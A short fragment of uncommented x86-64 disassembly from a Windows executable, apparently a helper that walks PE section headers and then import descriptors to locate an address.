lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002872
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400028d5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400028e8
add rdx, 0x28
cmp rdx, r10
jne 0x1400028c0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400028f7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002907
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400028de
test ecx, ecx
jg 0x1400028f0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret